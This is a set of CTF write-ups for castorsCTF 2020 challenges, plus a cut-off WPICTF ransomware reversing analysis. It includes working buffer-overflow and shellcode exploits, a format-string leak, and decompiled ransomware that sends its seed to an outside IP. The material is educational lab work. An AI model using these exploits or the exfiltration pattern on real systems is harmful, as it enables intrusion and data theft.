```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# babybof2
## Description
Authors: icinta
```nc chals20.cybercastors.com 14434```
## Analysis
Open with Ghidra, look at `main()`
```cundefined4 main(void)
{ puts("Do you really think you can get to the winners table?"); puts("I\'ll give you one shot at it, what floor is the table at: "); start(); puts("Yeah that\'s what I thougt, LOL.\n"); return 0;}```
`start()` accepts input from STDIN and is vulnerable to a buffer overflow.
```cvoid start(void)
{ char local_4c [68]; __x86.get_pc_thunk.ax(); gets(local_4c); return;}```
```(gdb) disas startDump of assembler code for function start: 0x08049201 <+0>: push %ebp 0x08049202 <+1>: mov %esp,%ebp 0x08049204 <+3>: push %ebx 0x08049205 <+4>: sub $0x44,%esp 0x08049208 <+7>: call 0x8049290 <__x86.get_pc_thunk.ax> 0x0804920d <+12>: add $0x21eb,%eax 0x08049212 <+17>: sub $0xc,%esp 0x08049215 <+20>: lea -0x48(%ebp),%edx 0x08049218 <+23>: push %edx 0x08049219 <+24>: mov %eax,%ebx 0x0804921b <+26>: call 0x8049040 <gets@plt> 0x08049220 <+31>: add $0x10,%esp 0x08049223 <+34>: nop 0x08049224 <+35>: mov -0x4(%ebp),%ebx 0x08049227 <+38>: leave 0x08049228 <+39>: ret End of assembler dump.```
And `winnersLevel()` is the function we need to reach.
```cundefined4 winnersLevel(int param_1)
{ undefined4 uVar1; if ((param_1 == 0x182) || (param_1 == 0x102)) { puts("Wow! Please excuse me sir I had no idea...here are your chips"); system("cat ./flag.txt"); uVar1 = 1; } else { puts("You guessed right but it seems your badge number isn\'t on our list."); uVar1 = 0; } return uVar1;}```
```(gdb) disas winnersLevelDump of assembler code for function winnersLevel: 0x08049196 <+0>: push %ebp 0x08049197 <+1>: mov %esp,%ebp 0x08049199 <+3>: push %ebx 0x0804919a <+4>: sub $0x4,%esp 0x0804919d <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx> 0x080491a2 <+12>: add $0x2256,%ebx 0x080491a8 <+18>: cmpl $0x182,0x8(%ebp) 0x080491af <+25>: je 0x80491ba <winnersLevel+36> 0x080491b1 <+27>: cmpl $0x102,0x8(%ebp) 0x080491b8 <+34>: jne 0x80491e5 <winnersLevel+79> 0x080491ba <+36>: sub $0xc,%esp 0x080491bd <+39>: lea -0x13f0(%ebx),%eax 0x080491c3 <+45>: push %eax 0x080491c4 <+46>: call 0x8049050 <puts@plt> 0x080491c9 <+51>: add $0x10,%esp 0x080491cc <+54>: sub $0xc,%esp 0x080491cf <+57>: lea -0x13b2(%ebx),%eax 0x080491d5 <+63>: push %eax 0x080491d6 <+64>: call 0x8049060 <system@plt> 0x080491db <+69>: add $0x10,%esp 0x080491de <+72>: mov $0x1,%eax 0x080491e3 <+77>: jmp 0x80491fc <winnersLevel+102> 0x080491e5 <+79>: sub $0xc,%esp 0x080491e8 <+82>: lea -0x13a0(%ebx),%eax 0x080491ee <+88>: push %eax 0x080491ef <+89>: call 0x8049050 <puts@plt> 0x080491f4 <+94>: add $0x10,%esp 0x080491f7 <+97>: mov $0x0,%eax 0x080491fc <+102>: mov -0x4(%ebp),%ebx 0x080491ff <+105>: leave 0x08049200 <+106>: ret End of assembler dump.```
`winnersLevel()` takes one argument, which must be either `0x182` or `0x102` to get the flag. Let's check out the stack variables for this function in Ghidra:
``` undefined winnersLevel(undefined4 param_1) undefined AL:1 <RETURN> undefined4 Stack[0x4]:4 param_1 XREF[2]: 080491a8(R), 080491b1(R) undefined4 Stack[-0x8]:4 local_8 XREF[1]: 080491fc(R) winnersLevel XREF[3]: Entry Point(*), 0804a158, 0804a1fc(*) 08049196 55 PUSH EBP
```
We'll have to overflow the input buffer in `start()`, which is 68 bytes, plus probably another 8 bytes before overwriting the return address with the starting address of `winnersLevel()`. Then there will be the new return address (`0x08049196`) and then the two stack variables for `winnersLevel()`.
Create a fake flag file, and try to exploit it by hand.
```root@kali:~/Downloads# echo hello > flag.txtroot@kali:~/Downloads# perl -e 'print "A"x76 . "\x96\x91\x04\x08"x1 . "\x00\x00\x00\x00" . "\x02\x01\x00\x00"' > payload && ./winners < payload; echo $?Do you really think you can get to the winners table?I'll give you one shot at it, what floor is the table at: Wow! Please excuse me sir I had no idea...here are your chipshelloSegmentation fault139```
Bingo! And we can do the same with gdb to see what the memory looks like with this payload by setting a breakpoint at the `nop` just after `gets()` in the `start()` function.
```(gdb) break *0x08049223Breakpoint 1 at 0x8049223(gdb) run < payloadThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /root/Downloads/winners < payloadDo you really think you can get to the winners table?I'll give you one shot at it, what floor is the table at:
Breakpoint 1, 0x08049223 in start ()(gdb) info regeax 0xffffd2b0 -11600ecx 0xf7faf5c0 -134548032edx 0xf7fb089c -134543204ebx 0x804b3f8 134525944esp 0xffffd2b0 0xffffd2b0ebp 0xffffd2f8 0xffffd2f8esi 0xf7faf000 -134549504edi 0xf7faf000 -134549504eip 0x8049223 0x8049223 <start+34>eflags 0x282 [ SF IF ]cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x0 0gs 0x63 99(gdb) x/40wx $esp0xffffd2b0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd2c0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd2d0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd2e0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd2f0: 0x41414141 0x41414141 0x41414141 0x080491960xffffd300: 0x00000000 0x00000102 0xf7e06b00 0xf7fb25880xffffd310: 0xf7faf000 0xf7faf000 0x00000000 0xf7e06c7b0xffffd320: 0xf7faf3fc 0x00040000 0x00000000 0x080492f30xffffd330: 0x00000001 0xffffd3f4 0xffffd3fc 0x080492c10xffffd340: 0xffffd360 0x00000000 0x00000000 0xf7defb41
```
## Solution
Now that we have a working local exploit, write the script to exploit the remote server. One key thing I missed when I first wrote this is that we have to set `DEBUG` mode to dump out every byte received. Otherwise, we won't see the flag.
```python#!/usr/bin/env python3from pwn import *context.log_level='DEBUG' # need debug mode to see flagbinary = ELF('./winners')print("%x\n" % binary.symbols['winnersLevel'])p = remote('chals20.cybercastors.com', 14434)p.recvuntil("what floor is the table at:")payload = b'A' * (68 + 8)payload += p32(binary.symbols['winnersLevel'])payload += p32(0x0)payload += p32(0x102)p.sendline(payload)p.stream()```
```root@kali:~/Downloads# ./winners-exploit.py [DEBUG] PLT 0x8049040 gets[DEBUG] PLT 0x8049050 puts[DEBUG] PLT 0x8049060 system[DEBUG] PLT 0x8049070 __libc_start_main[*] '/root/Downloads/winners' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments8049196
[+] Opening connection to chals20.cybercastors.com on port 14434: Done[DEBUG] Received 0x71 bytes: b'Do you really think you can get to the winners table?\n' b"I'll give you one shot at it, what floor is the table at: \n"[DEBUG] Sent 0x59 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 41 41 41 41 96 91 04 08 │AAAA│AAAA│AAAA│····│ 00000050 00 00 00 00 02 01 00 00 0a │····│····│·│ 00000059 [DEBUG] Received 0x3e bytes: b'Wow! Please excuse me sir I had no idea...here are your chips\n'Wow! Please excuse me sir I had no idea...here are your chips[DEBUG] Received 0x2a bytes: b'castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}'```
The flag is:
```castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}```
|
# NotWannasigh
## Description
Please help! An evil script-kiddie (seriously, this is some bad code) was able to get this ransomware "NotWannasigh" onto one of our computers. The program ran and encrypted our file "flag.gif".
These are the resources we were able to gather for you:
NotWannasigh.zip - the malicious ransomware executable flag-gif.EnCiPhErEd - our poor encrypted file that we need you to recover ransomNote.txt - the note left behind by the ransomware. I'm not sure you'll find anything usefull here 192-168-1-11_potential-malware.pcap - a packet capture that our IDS isolated, it seems that the program has some weird form of data exfiltration
We need you to reverse the malware and recover our flag.gif file. Good luck!
A note from the creator: Shoutout to Demonslay335 for challenge inspiration - he's done some awesome work in fighting ransomware. Also, the ransomware in this challenge is programmed to only target files named "flag.gif" so you shouldn't need to worry about the accidental execution, I just zipped it out of habit/good practice. Have fun and happy hacking!
Abjuri5t (John F.)
* http://us-east-1.linodeobjects.com/wpictf-challenge-files/192-168-1-11_potential-malware.pcap* http://us-east-1.linodeobjects.com/wpictf-challenge-files/ransomNote.txt* http://us-east-1.linodeobjects.com/wpictf-challenge-files/flag-gif.EnCiPhErEd* http://us-east-1.linodeobjects.com/wpictf-challenge-files/NotWannasigh.zip
## What are we dealing with?
```kali@kali:~/Downloads/wipctf/wannasigh$ ls -ltotal 384-rw-r--r-- 1 kali kali 1155 Apr 16 14:25 192-168-1-11_potential-malware.pcap-rw-r--r-- 1 kali kali 374109 Apr 16 19:52 flag-gif.EnCiPhErEd-rw-r--r-- 1 kali kali 4238 Apr 16 14:24 NotWannasigh.zip-rw-r--r-- 1 kali kali 541 Apr 16 14:24 ransomNote.txtkali@kali:~/Downloads/wipctf/wannasigh$ cat ransomNote.txt Haha! Your precious file flag.gif has been encrypted by my new and improved ransomware NotWannasigh! You must send bitcoin to "bitpay.com/83768" to get the decryption key. You should act fast because in 48 hours I will delete the key. Muahahahaha! - def-not-h4ckah
(Hi, CTF challenge creator here. You should _NEVER_ pay the ransom. If you send bitcoin to that BTC wallet then you will ONLY be donating to charity (and hey, that's really nice of you, Mental Health Hackers is a great organization). I will NOT send you the decryption key)kali@kali:~/Downloads/wipctf/wannasigh$ unzip NotWannasigh.zip Archive: NotWannasigh.zip inflating: NotWannasigh kali@kali:~/Downloads/wipctf/wannasigh$ file NotWannasighNotWannasigh: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ca17985d5f493aded88f81b8bfa47206118c6c9f, for GNU/Linux 3.2.0, not stripped```
## Analysis
Open the binary in Ghidra and decompile.Let's start with `main()`... and hold your nose.
```cundefined8 main(void){ byte bVar1; int iVar2; ssize_t sVar3; long lVar4; ulong uVar5; ulong uVar6; FILE *__stream; long alStack240 [5]; char local_c2 [10]; sa_family_t local_b8; uint16_t local_b6; in_addr_t local_b4; FILE *local_a0; FILE *local_98; byte local_89; undefined *local_88; long local_80; undefined *local_78; long local_70; uint local_64; FILE *local_60; int local_54; time_t local_50; int local_44; int local_40; int local_3c; alStack240[0] = 0x101279; local_50 = time((time_t *)0x0); alStack240[0] = 0x101288; srand((uint)local_50); alStack240[0] = 0x10129c; local_54 = socket(2,1,0); if (local_54 == -1) { alStack240[0] = 0x1012b1; puts("could not create socket"); } else { alStack240[0] = 0x1012c2; puts("created socket"); alStack240[0] = 0x1012ce; local_b4 = inet_addr("108.61.127.136"); local_b8 = 2; alStack240[0] = 0x1012e7; local_b6 = htons(0x50); alStack240[0] = 0x101307; iVar2 = connect(local_54,(sockaddr *)&local_b8,0x10); if (iVar2 < 0) { alStack240[0] = 0x101317; puts("connect error"); } else { alStack240[0] = 0x101325; puts("connected"); alStack240[0] = 0x101344; sprintf(local_c2,"%d",local_50); alStack240[0] = 0x10135f; sVar3 = send(local_54,local_c2,10,0); if (sVar3 < 0) { alStack240[0] = 0x101370; puts("send failed"); } else { alStack240[0] = 0x10137e; puts("sent"); } } } alStack240[0] = 0x10138a; puts("targetting flag.gif"); alStack240[0] = 0x10139d; local_60 = fopen("flag.gif","r+"); alStack240[0] = 0x1013b7; fseek(local_60,0,2); alStack240[0] = 0x1013c3; lVar4 = ftell(local_60); local_64 = (uint)lVar4; alStack240[0] = 0x1013dc; fseek(local_60,0,0); alStack240[0] = 0x1013f2; printf("fileSize = %d\n",(ulong)local_64); local_70 = (long)(int)local_64 + -1; alStack240[3] = (long)(int)local_64; alStack240[4] = 0; uVar5 = ((long)(int)local_64 + 0xfU) / 0x10; local_78 = (undefined 